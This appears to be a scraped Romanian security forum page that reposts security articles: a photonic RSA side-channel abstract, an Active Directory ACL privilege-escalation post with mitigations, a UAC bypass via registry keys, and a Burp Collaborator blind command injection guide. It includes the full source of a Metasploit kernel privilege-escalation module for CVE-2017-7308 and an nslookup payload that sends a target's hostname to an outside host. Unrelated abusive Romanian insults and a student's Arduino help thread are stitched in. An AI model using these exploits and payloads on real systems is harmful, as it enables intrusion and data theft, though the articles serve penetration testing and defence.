Leaderboard

Photonic Side Channel Attacks Against RSA Elad Carmon, Jean-Pierre Seifert, Avishai Wool Abstract This paper describes the first attack utilizing the photonic side channel against a public-key crypto-system. We evaluated three common implementations of RSA modular exponentiation, all using the Karatsuba multiplication method. We discovered that the key length had marginal impact onresilience to the attack: attacking a 2048-bit key required only 9% more decryption attempts than a 1024-bit key. We found that the most dominant parameter impacting the attacker’s effort is the minimal block size at which the Karatsuba method reverts to naive multiplication: even for parameter values as low as 32 or 64 bits our attacks achieve 100% success rate with under 10,000 decryption operations. Somewhat surprisingly, we discovered that Montgomery’s Ladder—commonly perceived as the most resilient of the three implementations to side-channel attacks—was actually the most susceptible: for 2048-bit keys, our attack reveals 100% of the secret key bits with as few as 4000 decryptions. Link: https://eprint.iacr.org/2017/108.pdf

l'am raportat poate da si ei ceva

Propun sa ne dai numarul lu ma-ta si sa ii dam spam tot forumu. Vrei sa iti faci DB cu numere de telefon? Iesi in pula mea de fraier cu site-ul tau si nu mai face atat spam.

M-am oprit la "Asa e romanul vai de capul lui". As fi vrut sa iti explic de ce esti idiot, dar nu merita timpul pierdut. Probabil o sa te transformi inca unul cu diploma de licenta, angajat pe la multinationale (kfc, mcdonalds).

HOW TO DETERMINE THE LOCATION OF A MOBILE SUBSCRIBER Sergey Puzankov In mobile networks, rather specific attacks are possible. In this article, I will consider a real-time attack that allows one to detect a cell where a subscriber is located. I cannot specify the method accuracy in more common units of measurement, because cell coverage areas greatly vary based on the terrain. In a densely built-over urban area, a cell could cover several hundred meters. However, on an intercity highway in the wild, a cell might only cover several kilometers. Download: https://www.ptsecurity.com/upload/iblock/8c0/8c065c70984c93d3001234ed6e6d865b.pdf

Binary Exploitation Any Doubt...? Let's Discuss Introduction I am quite passionate about exploiting binary files. First time when I came across Buffer Overflow(a simple technique of exploitation) then I was not able to implement the same with the same copy of code on my system. The reason for that was there was no consolidated document that would guide me thoroughly to write a perfect exploit payload for the program in case of system changes. Also there are very few descriptive blogs/tutorials that had helped me exploiting a given binary. I have come up with consolidation of Modern exploitation techniques (in the form of tutorial) that will allow you to understand exploitation from scratch. I will be using vagrant file to setup the system on virtual box. To do the same in your system follow: vagrant up vagrant ssh Topics Lecture 1. Memory Layout of C program. ELF binaries. Overview of stack during function call. Assembly code for the function call and return. Concept of $ebp and $esp. Executable memory. Lecture 1.5. How Linux finds the binaries utilis? Simple exploit using Linux $PATH variable. Lecture 2. What are stack overflows? ASLR (basics), avoiding Stack protection. Shellcodes Buffer overflow: Changing Control of the program to return to some other function Shellcode injection in buffer and spawning the shell Lecture 3. Shellcode injection with ASLR enabled. Environment variables. Lecture 3.5 Return to Libc attacks. Spawning shell in non executable stack Stack organization in case ret2libc attack. Lecture 4. This folder contains the set of questions to exploit binaries on the concept that we have learned so far. Lecture 5. What is format string Vulnerability? Seeing the content of stack. Writing onto the stack. Writing to arbitrary memory location. Lecture 6. GOT Overriding GOT entry. Spawning shell with format string vuln. Sursa: https://github.com/r0hi7/BinExp

Escalating privileges with ACLs in Active Directory Posted on April 26, 2018 by rindertkramer 6 Votes Researched and written by Rindert Kramer and Dirk-jan Mollema Introduction During internal penetration tests, it happens quite often that we manage to obtain Domain Administrative access within a few hours. Contributing to this are insufficient system hardening and the use of insecure Active Directory defaults. In such scenarios publicly available tools help in finding and exploiting these issues and often result in obtaining domain administrative privileges. This blogpost describes a scenario where our standard attack methods did not work and where we had to dig deeper in order to gain high privileges in the domain. We describe more advanced privilege escalation attacks using Access Control Lists and introduce a new tool called Invoke-Aclpwn and an extension to ntlmrelayx that automate the steps for this advanced attack. AD, ACLs and ACEs As organizations become more mature and aware when it comes to cyber security, we have to dig deeper in order to escalate our privileges within an Active Directory (AD) domain. Enumeration is key in these kind of scenarios. Often overlooked are the Access Control Lists (ACL) in AD.An ACL is a set of rules that define which entities have which permissions on a specific AD object. These objects can be user accounts, groups, computer accounts, the domain itself and many more. The ACL can be configured on an individual object such as a user account, but can also be configured on an Organizational Unit (OU), which is like a directory within AD. The main advantage of configuring the ACL on an OU is that when configured correctly, all descendent objects will inherit the ACL.The ACL of the Organizational Unit (OU) wherein the objects reside, contains an Access Control Entry (ACE) that defines the identity and the corresponding permissions that are applied on the OU and/or descending objects.The identity that is specified in the ACE does not necessarily need to be the user account itself; it is a common practice to apply permissions to AD security groups. By adding the user account as a member of this security group, the user account is granted the permissions that are configured within the ACE, because the user is a member of that security group. Group memberships within AD are applied recursively. Let’s say that we have three groups: Group_A Group_B Group_C Group_C is a member of Group_B which itself is a member of Group_A. When we add Bob as a member of Group_C, Bob will not only be a member of Group_C, but also be an indirect member of Group_B and Group_A. That means that when access to an object or a resource is granted to Group_A, Bob will also have access to that specific resource. This resource can be an NTFS file share, printer or an AD object, such as a user, computer, group or even the domain itself. Providing permissions and access rights with AD security groups is a great way for maintaining and managing (access to) IT infrastructure. However, it may also lead to potential security risks when groups are nested too often. As written, a user account will inherit all permissions to resources that are set on the group of which the user is a (direct or indirect) member. If Group_A is granted access to modify the domain object in AD, it is quite trivial to discover that Bob inherited these permissions. However, if the user is a direct member of only 1 group and that group is indirectly a member of 50 other groups, it will take much more effort to discover these inherited permissions. Escalating privileges in AD with Exchange During a recent penetration test, we managed to obtain a user account that was a member of the Organization Management security group. This group is created when Exchange is installed and provided access to Exchange-related activities. Besides access to these Exchange settings, it also allows its members to modify the group membership of other Exchange security groups, such as the Exchange Trusted Subsystem security group. This group is a member of the Exchange Windows Permissions security group. By default, the Exchange Windows Permissions security group has writeDACL permission on the domain object of the domain where Exchange was installed. 1 The writeDACL permissions allows an identity to modify permissions on the designated object (in other words: modify the ACL) which means that by being a member of the Organization Management group we were able to escalate out privileges to that of a domain administrator. To exploit this, we added our user account that we obtained earlier to the Exchange Trusted Subsystem group. We logged on again (because security group memberships are only loaded during login) and now we were a member of the Exchange Trusted Subsystem group and the Exchange Windows Permission group, which allowed us to modify the ACL of the domain. If you have access to modify the ACL of an AD object, you can assign permissions to an identity that allows them to write to a certain attribute, such as the attribute that contains the telephone number. Besides assigning read/write permissions to these kinds of attributes, it is also possible to assign permissions to extended rights. These rights are predefined tasks, such as the right of changing a password, sending email to a mailbox and many more2. It is also possible to add any given account as a replication partner of the domain by applying the following extended rights: Replicating Directory Changes Replicating Directory Changes All When we set these permissions for our user account, we were able to request the password hash of any user in the domain, including that of the krbtgt account of the domain. More information about this privilege escalation technique can be found on the following GitHub page: https://github.com/gdedrouas/Exchange-AD-Privesc Obtaining a user account that is a member of the Organization Management group is not something that happens quite often. Nonetheless, this technique can be used on a broader basis. It is possible that the Organization Management group is managed by another group. That group may be managed by another group, et cetera. That means that it is possible that there is a chain throughout the domain that is difficult to discover but, if correlated correctly, might lead to full compromise of the domain. To help exploit this chain of security risks, Fox-IT wrote two tools. The first tool is written in PowerShell and can be run within or outside an AD environment. The second tool is an extension to the ntlmrelayx tool. This extension allows the attacker to relay identities (user accounts and computer accounts) to Active Directory and modify the ACL of the domain object. Invoke-ACLPwn Invoke-ACLPwn is a Powershell script that is designed to run with integrated credentials as well as with specified credentials. The tool works by creating an export with SharpHound3 of all ACLs in the domain as well as the group membership of the user account that the tool is running under. If the user does not already have writeDACL permissions on the domain object, the tool will enumerate all ACEs of the ACL of the domain. Every identity in an ACE has an ACL of its own, which is added to the enumeration queue. If the identity is a group and the group has members, every group member is added to the enumeration queue as well. As you can imagine, this takes some time to enumerate but could end up with a chain to obtain writeDACL permission on the domain object. When the chain has been calculated, the script will then start to exploit every step in the chain: The user is added to the necessary groups Two ACEs are added to the ACL of the domain object: Replicating Directory Changes Replicating Directory Changes All Optionally, Mimkatz’ DCSync feature is invoked and the hash of the given user account is requested. By default the krbtgt account will be used. After the exploitation is done, the script will remove the group memberships that were added during exploitation as well as the ACEs in the ACL of the domain object. To test the script, we created 26 security groups. Every group was member of another group (testgroup_a was a member of testgroup_b, which itself was a member of testgroup_c, et cetera, up until testgroup_z.) The security group testgroup_z had the permission to modify the membership of the Organization Management security group. As written earlier, this group had the permission to modify the group membership of the Exchange Trusted Subsystem security group. Being a member of this group will give you the permission to modify the ACL of the domain object in Active Directory. We now had a chain of 31 links: Indirect member of 26 security groups Permission to modify the group membership of the Organization Management security group Membership of the Organization Management Permission to modify the group membership of the Exchange Trusted Subsystem security group Membership of the Exchange Trusted Subsystem and the Exchange Windows Permission security groups The result of the tool can be seen in the following screenshot: Please note that in this example we used the ACL configuration that was configured during the installation of Exchange. However, the tool does not rely on Exchange or any other product to find and exploit a chain. Currently, only the writeDACL permission on the domain object is enumerated and exploited. There are other types of access rights such as owner, writeOwner, genericAll, et cetera, that can be exploited on other object as well. These access rights are explained in depth in this whitepaper by the BloodHound team. Updates to the tool that also exploit these privileges will be developed and released in the future. The Invoke-ACLPwn tool can be downloaded from our GitHub here: https://github.com/fox-it/Invoke-ACLPwn NTLMRelayx Last year we wrote about new additions to ntlmrelayx allowing relaying to LDAP, which allows for domain enumeration and escalation to Domain Admin by adding a new user to the Directory. Previously, the LDAP attack in ntlmrelayx would check if the relayed account was a member of the Domain Admins or Enterprise Admins group, and escalate privileges if this was the case. It did this by adding a new user to the Domain and adding this user to the Domain Admins group. While this works, this does not take into account any special privileges that a relayed user might have. With the research presented in this post, we introduce a new attack method in ntlmrelayx. This attack involves first requesting the ACLs of important Domain objects, which are then parsed from their binary format into structures the tool can understand, after which the permissions of the relayed account are enumerated. This takes into account all the groups the relayed account is a member of (including recursive group memberships). Once the privileges are enumerated, ntlmrelayx will check if the user has high enough privileges to allow for a privilege escalation of either a new or an existing user. For this privilege escalation there are two different attacks. The first attack is called the ACL attack in which the ACL on the Domain object is modified and a user under the attackers control is granted Replication-Get-Changes-All privileges on the domain, which allows for using DCSync as desribed in the previous sections. If modifying the domain ACL is not possible, the access to add members to several high privilege groups in the domain is considered for a Group attack: Enterprise Admins Domain Admins Backup Operators (who can back up critical files on the Domain Controller) Account Operators (who have control over almost all groups in the domain) If an existing user was specified using the --escalate-user flag, this user will be given the Replication privileges if an ACL attack can be performed, and added to a high-privilege group if a Group attack is used. If no existing user is specified, the options to create new users are considered. This can either be in the Users container (the default place for user accounts), or in an OrganizationalUnit for which control was delegated to for example IT department members. One may have noticed that we mentioned relayed accounts here instead of relayed users. This is because the attack also works against computer accounts that have high privileges. An example for such an account is the computer account of an Exchange server, which is a member of the Exchange Windows Permissions group in the default configuration. If an attacker is in a position to convince the Exchange server to authenticate to the attacker’s machine, for example by using mitm6 for a network level attack, privileges can be instantly escalated to Domain Admin. The NTDS.dit hashes can now be dumped by using impacket’s secretsdump.py or with Mimikatz: Similarly if an attacker has Administrative privileges on the Exchange Server, it is possible to escalate privilege in the domain without the need to dump any passwords or machine account hashes from the system. Connecting to the attacker from the NT Authority\SYSTEM perspective and authenticating with NTLM is sufficient to authenticate to LDAP. The screenshot below shows the PowerShell function Invoke-Webrequest being called with psexec.py, which will run from a SYSTEM perspective. The flag -UseDefaultCredentials will enable automatic authentication with NTLM. The 404 error here is expected as ntlmrelayx.py serves a 404 page if the relaying attack is complete It should be noted that relaying attacks against LDAP are possible in the default configuration of Active Directory, since LDAP signing, which partially mitigates this attack, is disabled by default. Even if LDAP signing is enabled, it is still possible to relay to LDAPS (LDAP over SSL/TLS) since LDAPS is considered a signed channel. The only mitigation for this is enabling channel binding for LDAP in the registry. To get the new features in ntlmrelayx, simply update to the latest version of impacket from GitHub: https://github.com/CoreSecurity/impacket Recommendation As for mitigation, Fox-IT has a few recommendations. Remove dangerous ACLs Check for dangerous ACLs with tools such as Bloodhound. 3 Bloodhound can make an export of all ACLs in the domain which helps identifying dangerous ACLs. Remove writeDACL permission for Exchange Enterprise Servers Remove the writeDACL permission for Exchange Enterprise Servers. For more information see the following technet article: https://technet.microsoft.com/en-us/library/ee428169(v=exchg.80).aspx Monitor security groups Monitor (the membership of) security groups that can have a high impact on the domain, such as the Exchange Trusted Subsystem and the Exchange Windows Permissions. Audit and monitor changes to the ACL. Audit changes to the ACL of the domain. If not done already, it may be necessary to modify the domain controller policy. More information about this can be found on the following TechNet article: https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/ When the ACL of the domain object is modified, an event will be created with event ID 5136. The Windows event log can be queried with PowerShell, so here is a one-liner to get all events from the Security event log with ID 5136: 1 Get-WinEvent -FilterHashtable @{logname='security'; id=5136} This event contains the account name and the ACL in a Security Descriptor Definition Language (SDDL) format. Since this is unreadable for humans, there is a PowerShell cmdlet in Windows 10, ConvertFrom-SDDL4, which converts the SDDL string into a more readable ACL object. If the server runs Windows Server 2016 as operating system, it is also possible to see the original and modified descriptors. For more information: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4715 With this information you should be able to start an investigation to discover what was modified, when that happened and the reason behind that. References [1] https://technet.microsoft.com/en-us/library/ee681663.aspx [2] https://technet.microsoft.com/en-us/library/ff405676.aspx [3] https://github.com/BloodHoundAD/SharpHound [4] https://docs.microsoft.com/en-us/powershell/module/Microsoft.powershell.utility/convertfrom-sddlstring Sursa: https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

AF_PACKET packet_set_ring Privilege Escalation Posted May 17, 2018 Authored by Brendan Coles, Andrey Konovalov | Site metasploit.com This Metasploit module exploits a heap-out-of-bounds write in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2017-7308). The bug was initially introduced in 2011 and patched in version 4.10.6, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46, including Linux distros based on Ubuntu Xenial, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This Metasploit module has been tested successfully on Linux Mint 18 (x86_64) with kernel versions: 4.8.0-34-generic; 4.8.0-36-generic; 4.8.0-39-generic; 4.8.0-41-generic; 4.8.0-42-generic; 4.8.0-44-generic; 4.8.0-45-generic. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'AF_PACKET packet_set_ring Privilege Escalation', 'Description' => %q{ This module exploits a heap-out-of-bounds write in the packet_set_ring function in net/packet/af_packet.c (AF_PACKET) in the Linux kernel to execute code as root (CVE-2017-7308). The bug was initially introduced in 2011 and patched in version 4.10.6, potentially affecting a large number of kernels; however this exploit targets only systems using Ubuntu Xenial kernels 4.8.0 < 4.8.0-46, including Linux distros based on Ubuntu Xenial, such as Linux Mint. The target system must have unprivileged user namespaces enabled and two or more CPU cores. Bypasses for SMEP, SMAP and KASLR are included. Failed exploitation may crash the kernel. This module has been tested successfully on Linux Mint 18 (x86_64) with kernel versions: 4.8.0-34-generic; 4.8.0-36-generic; 4.8.0-39-generic; 4.8.0-41-generic; 4.8.0-42-generic; 4.8.0-44-generic; 4.8.0-45-generic. }, 'License' => MSF_LICENSE, 'Author' => [ 'Andrey Konovalov', # Discovery and C exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Mar 29 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'EDB', '41994' ], [ 'CVE', '2017-7308' ], [ 'BID', '97234' ], [ 'URL', 'https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html' ], [ 'URL', 'https://www.coresecurity.com/blog/solving-post-exploitation-issue-cve-2017-7308' ], [ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-7308.html', ], [ 'URL', 'https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c' ], [ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/cve-2017-7308/CVE-2017-7308/poc.c' ] ], 'DefaultTarget' => 0)) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-7308', file fd = ::File.open path, 'rb' data = fd.read fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release unless version =~ /^4\.8\.0-(34|36|39|41|42|44|45)-generic/ vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" cores = get_cpu_info[:cores].to_i min_required_cores = 2 unless cores >= min_required_cores vprint_error "System has less than #{min_required_cores} CPU cores" return CheckCode::Safe end vprint_good "System has #{cores} CPU cores" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' if kptr_restrict? && dmesg_restrict? vprint_error 'Both kernel.kptr_restrict and kernel.dmesg_destrict are enabled. KASLR bypass will fail.' return CheckCode::Safe end CheckCode::Appears end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile executable_path, exploit_data('poc.c') rm_f "#{executable_path}.c" else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx executable_path, exploit_data('exploit') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "#{executable_path} #{payload_path}" output.each_line { |line| vprint_status line.chomp } print_status 'Deleting executable...' rm_f executable_path Rex.sleep 5 print_status 'Deleting payload...' rm_f payload_path end end Sursa: https://packetstormsecurity.com/files/147685

Bypassing UAC using Registry Keys Category: Blog Welcome to the first of a new series of blogs we’ll be publishing with information about the scenarios we write for our platform. Our intention is to provide information about security threats with enough technical data to satisfy those of you that are curious and want to understand the inner workings of the threat techniques we implement. This series of posts are not meant to be the latest and greatest of our creations, just some details about popular scenarios in our library that we think might be of some interest for the people out there. Some of these will be kept high level and in others, we will go into greater technical details. We’ll always try to be as clear as possible on how we implement our philosophy "Think Bad, Do Good" by creating techniques that mimic the same TTPs followed by threat actors while keeping things safe for our customers Without more delay, welcome to the first post in this series. User Account Control (UAC) is a Windows feature that helps to prevent unauthorized changes to the system. This blog will show how a threat actor can silently execute privileged actions that modify the system while bypassing this security control. UAC has been present since Windows Vista and Windows Server 2008 with the goal to make the user aware when relevant system changes are triggered. It works by showing a popup window which asks for user interaction in order to accept some requested system changes, specifying which program name and publisher that are trying to carry out these changes. Also, the rest of the screen is usually dimmed to make the users more aware that this popup is really important, so they should pay attention. This feature is very helpful to users so they can discern the relevance of the system changes that they perform, but also can be helpful in detecting when another application or malware is trying to modify the system. Bypassing the UAC is a well known attack technique, which is categorized as Defense Evasion and Privilege Escalation techniques on the MITRE ATT&CK matrix. Technical details Since UAC is a security measure that can prevent malware, unwanted users or applications from changing relevant system configurations, threat actors are always looking for new ways to bypass UAC with the goal of performing privileged system changes without alerting the legitimate user. Different methods to bypass UAC exist, but this blog post is focused on registry modification techniques. The chosen technique relies on modifying the registry key for a specific system utility application, which privileges are auto-elevated by design, and the ability to execute other applications and give them privileges. Three parameters are necessary to execute this technique. Two of them are directly related to the bypass technique, and the last one is the target command to execute with privileges while bypassing UAC: Privileged application that will trigger the target application Registry key read by this privileged application which content should be a path of a binary that will be tried to execute Program path of the binary that will be silently executed by using the UAC bypass technique For example, the UAC Bypass technique that we will explain for Windows 7 takes advantage of the eventvwr.exe application. This privileged application works like a shortcut to the Microsoft Management Console (MMC). When eventvwr.exe starts, it will check if a specific binary is used to provide the functionality of the MMC snap-in for event viewer. To do that it looks for the specific binary location at the registry key “HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command”. Then it executes the binary at this path if it exists. Otherwise the default MMC snap-in for the windows event viewer will be loaded. The content of this registry key is the one that can be used to execute binaries while bypassing UAC. Due to Windows updates and security fixes, the privileged application and the registry key can be different for distinct Windows versions. Since there is not a bypass technique that shares the same privileged application and registry key at the time of this writing, we will show parameters that are valid for Windows 7. Other parameters are valid for Windows 10. Now, let’s demonstrate how these techniques work for both, one at a time. The Windows 7 technique is based on the following parameters: Auto-elevated privileged application: eventvwr.exe Registry key with path to execute: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command To replicate this technique, the first step is to modify the registry key with the target application to execute. In this case we have chosen “C:\Windows\System32\cmd.exe”: Now that the registry key has been set, executing the eventvwr.exe process will execute the content of this registry key instead of loading itself: Finally it is possible to check that the new spawned process is running with High Integrity, which allows the new process to access to several privileged and protected system resources: The Windows 10 technique has the same parameter types, but with different values: Auto-elevated privileged application: sdclt.exe Registry key with path to execute: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe The first step is to modify the registry key as in the previous technique. We have chosen “C:\Windows\System32\cmd.exe” as the target application again: Once the registry key has been set, the next step is to execute “sdclt.exe”. This process will start the command line application instead of loading itself, which is the same behaviour seen in the Windows 7 technique: Finally we can check that the integrity level of the new spawned process is High, just as expected: Our research team is working on writing scenarios that are capable of testing if there are security controls preventing this kind of attack, in addition to many other different attacks used by threat actors. This is achieved by using AttackIQ scenarios which can be very specific, such as this one, or they can be as generic as needed to modify user provided registry keys. With these generic scenarios everybody is able to test any kind of attack based on registry modifications.There are also many other generic scenarios such as executing system commands, modifying files, exfiltrating files, discovering network assets, using different persistence techniques, etc. Mitigations Since both techniques rely on the same principle, the mitigation for them is also the same. It is as simple as setting the UAC level to Always Notify. A different protection approach can be used for those environments where it is not desirable to set the UAC level to Always Notify (however, having a different level is not recommended from the system’s security perspective). This approach consists in monitor and prevent registry changes on the following registry keys: HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe Along with these mitigations, it is also recommended to use unprivileged accounts whenever it is possible. Sursa: https://attackiq.com/blog/2018/05/14/bypassing-uac-using-registry-keys/

Attacking a co-hosted VM, Paul Fariello, Mehdi Talbi, INFILTRATE 2018

ABSTRACT Modern malware and spyware platforms attack existing antivirus solutions and even Microsoft PatchGuard. To protect users and business systems new technologies developed by Intel and AMD CPUs may be applied. To deal with the new malware we propose monitoring and controlling access to the memory in real time using Intel VT-x with EPT. We have checked this concept by developing MemoryMonRWX, which is a bare-metal hypervisor. MemoryMonRWX is able to track and trap all types of memory access: read, write, and execute. MemoryMonRWX also has the following competitive advantages: fine-grained analysis, support of multi-core CPUs and 64-bit Windows 10. MemoryMonRWX is able to protect critical kernel memory areas even when PatchGuard has been disabled by malware. Its main innovative features are as follows: guaranteed interception of every memory access, resilience, and low performance degradation. Download: https://arxiv.org/ftp/arxiv/papers/1705/1705.06784.pdf

Blind Command Injection Testing with Burp Collaborator 15 May 2018 on burpsuite, webapp, command injection, DNS, Exfil In this post we will demonstrate how Burp Collaborator can be leveraged for detecting and exploiting blind command injection vulnerabilities. Burp Collaborator is an excellent tool provided by Portswigger in BurpSuite Pro to help induce and detect external service interactions. These external service interactions occur when an application or system performs an action which interacts with another system or service...eazy peezy. An example of an external interaction is DNS lookups. If you provide a hostname to a service, and it resolves that hostname, an external service interaction has likely occurred. While Burp Collaborator has many use cases, today we'll explore a specific use case -- detecting and exploiting blind command injections. Command injection vulnerabilities occur when user-controllable data is processed by a shell command interpreter -- the information you submitted to the application was used as part of a command run directly by the system. Command injection vulnerabilities are serious findings, as they allow an attacker to execute commands on the underlying system hosting the web application. Let's take a look at how Burp Collaborator could be used to help us detect and exploit the more difficult form of command injection vulnerabilities, blind command injections. In blind command injection, we don't see any output from our injection attacks, even though the command is running behind the scenes. We generally see detection performed via payloads which cause the system to perform a noticeable action like sleep (time-based), or perhaps ping another server under our control. Sleep Command Injected - Response Time Observed Ping Command Injected Ping Response Observed With Burp Collaborator, we can often use its DNS service interaction to find these vulnerabilities a bit more easily. We're likely already using BurpSuite to assess the application, so it makes sense to leverage Collaborator. If we can induce our target to perform an external service interaction via a command injection, we can use Collaborator to confirm it. So you think you have a shot at blind command injection? Start up the Collaborator client! Grab a Collaborator payload by copying it to your clipboard: It will look something like this: 255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net Fun fact: the nslookup command uses similar syntax on Windows and Linux, making it a perfect candidate for cross-platform blind command injection tests. Just insert nslookup $collaborator-payload into your usual test cases. If a DNS lookup is performed on your payload, you'll be notified by Collaborator. Let's drop a Collaborator payload into our example injection... Here's the payload: 8.8.8.8;nslookup 255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net The only output we see from the web application is "Test passed." But we see the response to our injection received by the Collaborator client, confirming we have command execution. Awesome. Let's take it a step further. What if we wanted to exfiltrate some data? Perhaps we're unable to gain a shell from our injection attempts, and we need to figure out why -- or we just want a better proof of concept for our report. Collaborator gives us a really simple and effective option for this, without leaving BurpSuite to setup additional tools during a test. We can use Collaborator to pull back some details about the target by appending system data to the beginning of the DNS lookup. Collaborator will accept lookups to any subdomain requested on the payload (keeping in mind 63 character limits for subdomains, and 253 character limits for the overall DNS lookup). Let's pull back the hostname of our target system. Here's the payload: 8.8.8.8;nslookup $(hostname).255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net Excellent, we've retrieved the hostname from our target through DNS exfiltration. With a little imagination we can bring back all sorts of informative details. A note on security: don't send sensitive data back over a DNS channel without securing it. In addition, you can read about the security of the Collaborator service provided by Portswigger in their documentation, or you can spin up your own private Collaborator server to use internally. Resources Burp Collaborator Documentation OWASP Testing for Command Injections Hackerone Command Injection How-To Contextis Data Exfiltration via Blind OS Command Injection Sursa: http://threat.tevora.com/stop-collaborate-and-listen/

Mai frate, si zici ca esti student terminal la informatica?!!! Ai invata la singurul curs ca RX TX este ceva exclusiv Arduino? Pe vremea mea orice elev de la Casa Pionierilor stia ce e acel RX TX. " ...pai da, viitorul tarii sunteti voi astia mai destepti, care vor "mita" ca sa invatati pe cineva ca altfel nici nu-i bagati in seama!" Adica ar trebui ca acel "mai destept" , care stie cu ce se mananca RX TX ( a naibii transmisii de date...) sa-ti faca proiectul doar pentru ca esti un disperat de "informatician" care pe langa asta este si a naibi de arogant! Ei, iti urez spor la treaba... gasesti tu o diploma la talciog ca sa fi un bun inginer!

Dar daca ai pune mana sa inveti ce se spune la curs nu ar fi mai bine? Vrei sa-ti faca altul temele si tu cu sa ai diploma fara sa stii ce e ala "RX TX". Nu toata lumea trebuie sa aiba licenta, poate te orientezi pe alt subiect unde mai intelegi cate ceva. Cum plm iti faci licenta in arduino SPI radio-spectrum cand tu nu stii ce e un ledPin, RX, TX? Plm viitorul tarii.

Omule, din cate vezi eu sunt disperat, nu sunt pe profilul automatica ca sa stiu ce e ala RX TX, eu la facultate am facut un singur curs de Arduino, si acolo invatam cum sa aprindem si sa stingem un bec fara tranzistori si alte chestii, eu astea le-am invatat acum ca trebuie sa stiu cum sa fac proiectul asta, si acum o sa-mi spui de ce am ales tema asta daca nu am invatat la facultate despre arduino, intrucat temele au fost date pe sub mana cum s-ar spune si a doua zi de cand s-au publicat erau toate luate, am fost la fiecare profesor si am intrebat, au mai ramas decat astea, si am zis sa incerc sa fac aplicatia asta. Nu stiu de ce unii sar cu fundul in sus ca nu punem mana sa invatam, dar de profesorii care creeaza astfel de teme pe cand noi la facultate nu invatam asa ceva ca nu suntem profilul de automatica ci informatica nu zici nimic! Cica "viitorul tarii", pai da, viitorul tarii sunteti voi astia mai destepti, care vor "mita" ca sa invatati pe cineva ca altfel nici nu-i bagati in seama!

up, inca nu am rezolvat problema. daca nu ai timp nu ma contacta doar ca sa aflii despre ce e vb, m-am saturat de bagatori de seama.

